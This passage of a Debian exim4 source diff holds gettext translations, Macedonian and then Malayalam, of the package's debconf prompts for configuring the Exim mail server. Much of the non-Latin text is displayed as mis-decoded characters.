../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "пошта пратена преку друг домаќин - нема локална пошта" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "Ñамо локално иÑпорачување - не е на мрежа" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "нема конфигурација во моментов" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Главен тип на конфигурација за пошта:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +#, fuzzy +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "Избери го типот на конфигурација кој најдобро ти одговара." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +#, fuzzy +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"СиÑтемите Ñо динамички ИП адреÑи треба главно да бидат конфигурирани да ја " +"праќаат надворешната пошта преку друга машина. Може да обереш да примаш " +"пошта на таков ÑиÑтем или да немаш иÑпорака на локална пошта, оÑвен пошта за " +"root и за postmaster." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "ÐавиÑтина оÑтави го ÑиÑтемо за пошта неконфигуриран?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +#, fuzzy +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Се додека твојот ÑиÑтем за пошта не е конфигуриран, ќе биде раÑипан и не ќе " +"може да Ñе кориÑти. Се разбира подоцна можеш да го конфигурираш или рачно " +"или Ñо извршување на „dpkg-reconfigure exim4-config“ како root." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "ПоштенÑко име:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +#, fuzzy +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Името иÑто така ќе биде кориÑтено од други програми, треба да биде единечен " +"и правилен име на домејн (FQDN) од кој ќе изгледа дека поштата потекнува." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +#, fuzzy +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Ова име нема да Ñе прикажува во Од: линииите на поштата за надвор ако " +"овозможиш препишување." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Други деÑтинации за кои поштата Ñе прима:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +#, fuzzy +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Те молам внеÑи лиÑта на домејни за кои оваа машина треба да Ñе Ñмета како " +"крајна деÑтинација, оÑвен локалната адреÑа (${fqdn}) и „localhost“." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +#, fuzzy +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Предефинирано кон Ñите домејни Ñе однеÑува иÑто, ако Ñакаш кон различни " +"домејни да Ñе однеÑува различно, ќе треба да ја Ñмениш конфигурациÑката " +"датотека потоа." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Домејни за кои поштата Ñе препраќа:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Машини за кои да препраќаш пошта:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +#, fuzzy +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Ðко има, внеÑи ги тука одвоени Ñо две точки. Треба да го кориÑтиш " +"Ñтандардниот формат за адреÑи (пр. 192.222.242.0/24)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Видливи имиња на домејни за локалните кориÑници:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +#, fuzzy +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Погледни во /usr/share/doc/exim4-base/README.Debian.gz за забелешки за " +"поÑтавување на СМТП автентикација." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Примач на поштата на root и postmaster:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +#, fuzzy +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"Поштата за „postmaster“, „root“ и други ÑиÑтемÑки Ñметки најчеÑто Ñе " +"препраќа на кориÑничката Ñметка на виÑтинÑкиот админиÑтратор. Ðко ја оÑтвиш " +"оваа вредноÑÑ‚ празна, ваквите пораки ќе бидат Ñнимани во /var/mail/mail што " +"не е препорачливо. Имај на ум дека поштата за postmaster треба да Ñе чита на " +"машината за која е наÑочена, отколку да Ñе препраќа на друго меÑто. Така " +"барем за еден од кориÑниците кои ќе ги одбереш поштата не треба да Ñе " +"препраќа на друго меÑто. КориÑти го „real-“ префикÑот за да форÑираш локална " +"иÑпорака." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +#, fuzzy +msgid "Multiple user names need to be separated by spaces." +msgstr "ВнеÑи едно или повеќе кориÑнички имиња одвоени од празни меÑта." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "ИП адреÑа за која ќе Ñлушаат дојдовните СМТП конекции:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +#, fuzzy +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Ðко ја оÑтавиш оваа вредноÑÑ‚ празна, Exim ќе Ñлуша за конекции на СМТП " +"портот на Ñите доÑтапни мрежни интерфејÑи." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +#, fuzzy +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Ðко твојот компјутер не прима пошта директно преку СМТП од ДРУГИ компјутери, " +"туку Ñамо од локални ÑервиÑи како fetchmail или твојот клиент за е-пошта " +"(MUA) треба да ги забраниш надворешните конекции кон Exim тука внеÑувајќи " +"127.0.0.1. Со ова забрануваш Ñлушање на јавните мрежни интерфејÑи." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "Држи го минимален бројот на ДÐС прашувања (Вртење-по-потреба)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +#, fuzzy +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"Во нормален режим на работа Exim прави ДÐС-пребарувања при пуштање, кога " +"прима или праќа порака и Ñл. за логирање или за да го држи бројот на цврÑто " +"внеÑени вредноÑти во конфигурационата датотека мал." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +#, fuzzy +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Ðко ова е компјутер без поÑтојан приÑтап до ДÐС Ñервер кој кориÑти вртење-по-" +"потреба ова може да предизвика неÑакани поÑледици така што при Ñтартување на " +"exim или работа Ñо поштата(и без пораки) ќе Ñе прават непотребни вртења кон " +"интернет провајдерот." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +#, fuzzy +msgid "Mail Server configuration" +msgstr "Главен тип на конфигурација за пошта:" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Подели ја конфигурацијата во помали датотеки?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +#, fuzzy +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Exim4 пакетите на Дебиан може да кориÑтат една голема монолитна датотека (/" +"etc/exim4/exim4.conf.template) или околу 40 мали датотеки во /etc/exim4/conf." +"d/ од кои Ñе генерира крајната конфигурација." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +#, fuzzy +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"Првото е подоборо за големи промени и најчеÑто е поÑтабилно, додека второто " +"овозможува убав начин да Ñе прават помали промени, но е понежно и може да Ñе " +"раÑипе ако Ñе менуваат многу работи." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Сокриј го локалното поштенÑко име во надворешната пошта?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +#, fuzzy +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Заглавјата во надворешната пошта можат да бидат препишани така што би " +"изгледале како да Ñе Ñоздадени на друг ÑиÑтем. Сменувајќи го " +"„${mailname}“ „localhost“ и „${dc_other_hostnames}“ во From, Reply-To, " +"Sender и Return-Path полињата." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +#, fuzzy +msgid "Delivery method for local mail:" +msgstr "пошта пратена преку друг домаќин - нема локална пошта" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" + +#, fuzzy +#~ msgid "Move undelivered mails from exim 3 to exim4 spool?" +#~ msgstr "" +#~ "ПремеÑти ги Ñеуште недоÑтавените пораки од exim(в3) во exim4 редот на " +#~ "праќање?" + +#, fuzzy +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "Има некои неиÑпратени порарки во директорумот за праќање на exim или exim-" +#~ "ls во /var/spool/exim/input. Тие Ñега може да бидат премеÑтени во " +#~ "директорумот за праќање на exim4 (/var/spool/exim4/input/) каде ќе бидат " +#~ "обработени од exim4." + +#~ msgid "" +#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " +#~ "but not the other way round." +#~ msgstr "" +#~ "Имај на ум дека ова работи Ñамо во еден правец, exim4 може да работи Ñо " +#~ "exim(v3) директорумот за праќање но не обратно." + +#~ msgid "" +#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " +#~ "the mail shouldn't be moved now but manually once you've converted your " +#~ "setup." +#~ msgstr "" +#~ "ПремеÑти ги пораките Ñамо ако не планираш да Ñе вратиш на exim(в3), во " +#~ "друг Ñлучај поштата не треба да биде премеÑтена Ñега туку рачно откога ќе " +#~ "ги премеÑтиш поÑтавките." + +#, fuzzy +#~ msgid "" +#~ "If there are any more, enter them here, separated by semicolons. You may " +#~ "leave this blank if there are none." +#~ msgstr "" +#~ "Ðко има повеќе, внеÑи ги тука одвоени Ñо две точки. Може да го оÑтавиш " +#~ "ова празно ако нема повеќе." + +#, fuzzy +#~ msgid "" +#~ "Please enter here the domains for which this system will relay mail, for " +#~ "example as a fallback MX or mail gateway." +#~ msgstr "" +#~ "Те молам тука внеÑи ги домејните за кои прифаќаш да ја препраќаш поштата." + +#~ msgid "" +#~ "Such domains are domains for which you are prepared to accept mail from " +#~ "anywhere on the Internet. Do not mention local domains here." +#~ msgstr "" +#~ "Такви домејни Ñе домејни за кои Ñи подготвен да прифаќаш пошта од било " +#~ "каде на интернет. Ðе ги Ñпомнувај локалните домејни тука." + +#, fuzzy +#~ msgid "" +#~ "The domains entered here should be separated by semicolons. Wildcards may " +#~ "be used." +#~ msgstr "" +#~ "Домејните кои ќе ги внеÑеш тука треба да бидат одбоени Ñо две точки. " +#~ "Ðокери може да Ñе кориÑтат." + +#~ msgid "" +#~ "Since you enabled hiding the local mailname in outgoing mail, you must " +#~ "specify the domain name to use for mail from local users; typically this " +#~ "is the machine on which you normally receive your mail." +#~ msgstr "" +#~ "Бидејќи Ñи овозможил криење на поштенÑкото име во надворешна пошта, мора " +#~ "да Ñпецифицираш домејн име кое ќе Ñе кориÑти за пошта од локалните " +#~ "кориÑници. Типично ова е машината на која нормално примаш пошта." + +#~ msgid "Where will your users read their mail?" +#~ msgstr "Каде твоите кориÑници ќе ја читаат нивната пошта?" + +#~ msgid "Machine handling outgoing mail for this host (smarthost):" +#~ msgstr "Машини кои ја обработуваат поштата за праќање за оваа машина:" + +#~ msgid "Enter the hostname of the machine to which outgoing mail is sent." +#~ msgstr "" +#~ "ВнеÑи го хоÑтнејмот на машината на која ќе и биде праќана надворешната " +#~ "пошта." + +#~ msgid "" +#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " +#~ "it." +#~ msgstr "" +#~ "Овомозжи ја оваа опција ако кориÑтиш вретење-по-потреба, во друг Ñлучај " +#~ "иÑклучи ја." + +#, fuzzy +#~ msgid "Select the mail server configuration type that best fits your needs." +#~ msgstr "Избери го типот на конфигурација кој најдобро ти одговара." + +#~ msgid "If you are unsure then you should not use split configuration." +#~ msgstr "" +#~ "Ðко не Ñи Ñигурен тогаш не треба ја кориÑтиш поделената конфигурација." + +#~ msgid "manually convert from handcrafted Exim v3 configuration" +#~ msgstr "рачно конвертирај од рачно поÑтавената конфигурација на exim в3" + +#~ msgid "Configure Exim4 manually?" +#~ msgstr "Конфигурирај Exim4 рачно?" + +#~ msgid "" +#~ "You indicated that you have a handcrafted Exim 3 configuration. To " +#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " +#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " +#~ "and /usr/share/doc/exim4-base/README.Debian.gz!" +#~ msgstr "" +#~ "Индицираше дека имаш рачно изработенa Exim3 конфигурација. За да ја " +#~ "префрлиш оваа во Exim4, може да ја кориÑтиш exim_convert4r4(8) алатката " +#~ "по инÑталација. КонÑултирај Ñе Ñо /usr/share/doc/exim4-base/examples/" +#~ "example.conf.gz и /usr/share/doc/exim4-base/README.Debian.gz!" + +#~ msgid "" +#~ "Until your mail system is configured, it will be broken and cannot be " +#~ "used." +#~ msgstr "" +#~ "Се додека твојот ÑиÑтем за пошта не е конфигуриран ќе биде раÑипан и не " +#~ "ќе може да Ñе кориÑти." + +#~ msgid "" +#~ "Your \"mail name\" is the hostname portion of the address to be shown on " +#~ "outgoing news and mail messages (following the username and @ sign) " +#~ "unless hidden with rewriting." +#~ msgstr "" +#~ "Твоето „поштенÑко име“ е хоÑтнејм делот од адреÑата која ќе биде " +#~ "прикажана на пораките (Ñледувајќи по кориÑничкото име и @ знакот) оÑвен " +#~ "ако не е Ñокриено при препишување." + +#~ msgid "" +#~ "Please enter here the networks of local machines for which you accept to " +#~ "relay the mail." +#~ msgstr "" +#~ "Те молам тука внеÑи ги мрежите за локалните машини за кои прифаќаш да " +#~ "препраќаш пошта." + +#~ msgid "" +#~ "This should include a list of all machines that will use us as a " +#~ "smarthost." +#~ msgstr "" +#~ "Ова треба да Ñодржи лиÑта на Ñите машини кои ќе не кориÑтат Ð½Ð°Ñ ÐºÐ°ÐºÐ¾ " +#~ "препраќач на поштата." + +#~ msgid "" +#~ "You need to double the colons in IPv6 addresses (e.g. " +#~ "5f03::1200::836f::::/48)" +#~ msgstr "" +#~ "Треба да ги дуплираш двете точки во IPv6 адреÑите (пр. " +#~ "5f03::1200::836f::::/48)" + +#~ msgid "" +#~ "Enter a colon-separated list of IP-addresses to listen on. You need to " +#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." +#~ msgstr "" +#~ "ВнеÑи лиÑта на ИП адреÑи одвоени Ñо две точки за кои ќе Ñлуша. Треба да " +#~ "ги удвоиш двете точки во IPv6 адреÑи (пр. 5f03::1200::836f::::)." + +#~ msgid "Configuring Exim v4 (exim4-config)" +#~ msgstr "Конфигурација на Exim в4 (exim4-config)" diff --git a/debian/po/ml.po b/debian/po/ml.po new file mode 100644 index 0000000..696320a --- /dev/null +++ b/debian/po/ml.po @@ -0,0 +1,631 @@ +# Translation of exim4 to malayalam +# Copyright (c) 2006 exim4's copyright holder +# Praveen A <pravi.a@gmail.com> , 2008. +# Translators, if you are not familiar with the PO format, gettext +# documentation is worth reading, especially sections dedicated to +# this format, e.g. by running: +# info -n '(gettext)PO Files' +# info -n '(gettext)Header Entry' +# +# Some information specific to po-debconf are available at +# /usr/share/doc/po-debconf/README-trans +# or http://www.debian.org/intl/l10n/po-debconf/README-trans +# +# Developers do not need to manually edit POT or PO files. +# +msgid "" +msgstr "" +"Project-Id-Version: exim4\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2008-05-04 14:51-0800\n" +"Last-Translator: Praveen|à´ªàµà´°à´µàµ€à´£àµâ€ A|à´Ž <pravi.a@gmail.com>\n" +"Language-Team: Swathanthra Malayalam Computing <smc-discuss@googlegroups." +"com>\n" +"Language: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Generator: LoKalize 0.2\n" +"Plural-Forms: nplurals=2; plural=(n != 1);\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "à´¸àµà´ªàµ‚à´³àµâ€ തടàµà´Ÿà´¿à´²àµà´³àµà´³ à´Žà´¤àµà´¤à´¿à´•àµà´•à´¾à´¨àµâ€ പറàµà´±à´¾à´¤àµà´¤ à´•à´¤àµà´¤àµà´•à´³àµâ€ നീകàµà´•à´£àµ‹?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"à´Žà´•àµà´¸à´¿à´®à´¿à´¨àµà´±àµ† à´¸àµà´ªàµ‚à´³àµâ€ തടàµà´Ÿà´¾à´¯ /var/spool/exim4/input à´²àµâ€ ഇതൠവരെ à´Žà´¤àµà´¤à´¿à´¯àµà´•àµà´•à´¾à´¤àµà´¤ à´•à´¤àµà´¤àµà´•à´³àµà´£àµà´Ÿàµàµ. " +"à´Žà´•àµà´¸à´¿à´‚ നീകàµà´•àµà´¨àµà´¨à´¤àµàµ à´…à´µ à´Žà´•àµà´¸à´¿à´‚ വീണàµà´Ÿàµà´‚ ഇനàµâ€à´¸àµà´±àµà´±àµ‹à´³àµâ€ ചെയàµà´¯àµà´¨àµà´¨à´¤àµàµ വരെ à´Žà´¤àµà´¤à´¿à´¯àµà´•àµà´•à´¾à´¤àµà´¤à´¤à´¾à´¯à´¿ നിരàµâ€à´¤àµà´¤àµà´‚." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"à´ˆ à´à´šàµà´›à´¿à´•à´‚ തെരഞàµà´žàµ†à´Ÿàµà´¤àµà´¤à´¿à´Ÿàµà´Ÿà´¿à´²àµà´²àµ†à´™àµà´•à´¿à´²àµâ€ à´¸àµà´ªàµ‚à´³àµâ€ തടàµà´Ÿàµàµ പിനàµà´¨àµ€à´ŸàµŠà´°àµ ദിവസം à´Žà´•àµà´¸à´¿à´‚ വീണàµà´Ÿàµà´‚ " +"ഇനàµâ€à´¸àµà´±àµà´±àµ‹à´³àµâ€à´šàµ†à´¯àµà´¤à´¤à´¿à´¨àµàµ ശേഷം വരിയിലàµà´³àµà´³ സനàµà´¦àµ‡à´¶à´™àµà´™à´³àµâ€ à´Žà´¤àµà´¤à´¿à´•àµà´•àµà´¨àµà´¨à´¤à´¿à´¨àµàµ à´…à´¨àµà´µà´¦à´¿à´šàµà´šàµà´•àµŠà´£àµà´Ÿàµàµ സൂകàµà´·à´¿à´•àµà´•àµà´¨àµà´¨à´¤à´¾à´£àµàµ." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "à´ˆ പാകàµà´•àµ‡à´œà´¿à´¨àµ പകരം exim4-config പാകàµà´•àµ‡à´œàµ à´ªàµà´¨à´ƒà´•àµà´°à´®àµ€à´•à´°à´¿à´•àµà´•àµà´•" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"à´Žà´•àµà´¸à´¿à´‚4 à´¨àµàµ അതിനàµà´±àµ† à´•àµà´°à´®àµ€à´•à´°à´£à´¤àµà´¤à´¿à´¨à´¾à´¯à´¿ à´ªàµà´°à´¤àµà´¯àµ‡à´•à´‚ മാറàµà´±à´¿à´µà´šàµà´š ഒരൠപാകàµà´•àµ‡à´œàµà´£àµà´Ÿàµ, exim4-config. " +"നിങàµà´™à´³àµâ€à´•àµà´•àµàµ à´Žà´•àµà´¸à´¿à´‚4 à´ªàµà´¨à´ƒà´•àµà´°à´®àµ€à´•à´°à´¿à´•àµà´•à´£à´®àµ†à´¨àµà´¨àµà´£àµà´Ÿàµ†à´™àµà´•à´¿à´²àµâ€ dpkg-reconfigure exim4-config " +"ഉപയോഗികàµà´•àµ‚." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "" +"ഇനàµà´±à´°àµâ€à´¨àµ†à´±àµà´±àµ സൈറàµà´±àµ; à´•à´¤àµà´¤àµàµ à´Žà´¸àµâ€‹à´Žà´‚ടിപി ഉപയോഗിചàµà´šàµàµ നേരിടàµà´Ÿàµàµ അയയàµà´•àµà´•àµà´•à´¯àµà´‚ à´¸àµà´µàµ€à´•à´°à´¿à´¯àµà´•àµà´•àµà´•à´¯àµà´‚ ചെയàµà´¯àµà´¨àµà´¨àµ" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "" +"à´¸àµà´®à´¾à´°àµâ€à´Ÿàµà´Ÿàµà´¹àµ‹à´¸àµà´±àµà´±àµ വഴി à´•à´¤àµà´¤àµàµ അയയàµà´•àµà´•àµà´¨àµà´¨àµ; à´Žà´¸àµâ€‹à´Žà´‚ടിപി à´…à´²àµà´²àµ†à´™àµà´•à´¿à´²àµâ€ ഫെചàµà´®àµ†à´¯à´¿à´²àµâ€ വഴി à´¸àµà´µàµ€à´•à´°à´¿à´¯àµà´•àµà´•àµà´¨àµà´¨àµ" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "à´¸àµà´®à´¾à´°àµâ€à´Ÿàµà´Ÿàµà´¹àµ‹à´¸àµà´±àµà´±àµ വഴി à´•à´¤àµà´¤àµàµ അയയàµà´•àµà´•àµà´¨àµà´¨àµ; à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´• à´•à´¤àµà´¤àµŠà´¨àµà´¨àµà´®à´¿à´²àµà´²" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´•à´®à´¾à´¯à´¿ മാതàµà´°à´®àµ†à´¤àµà´¤à´¿à´¯àµà´•àµà´•àµà´¨àµà´¨àµ; ഒരൠശൃംഖലയിലലàµà´²" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. 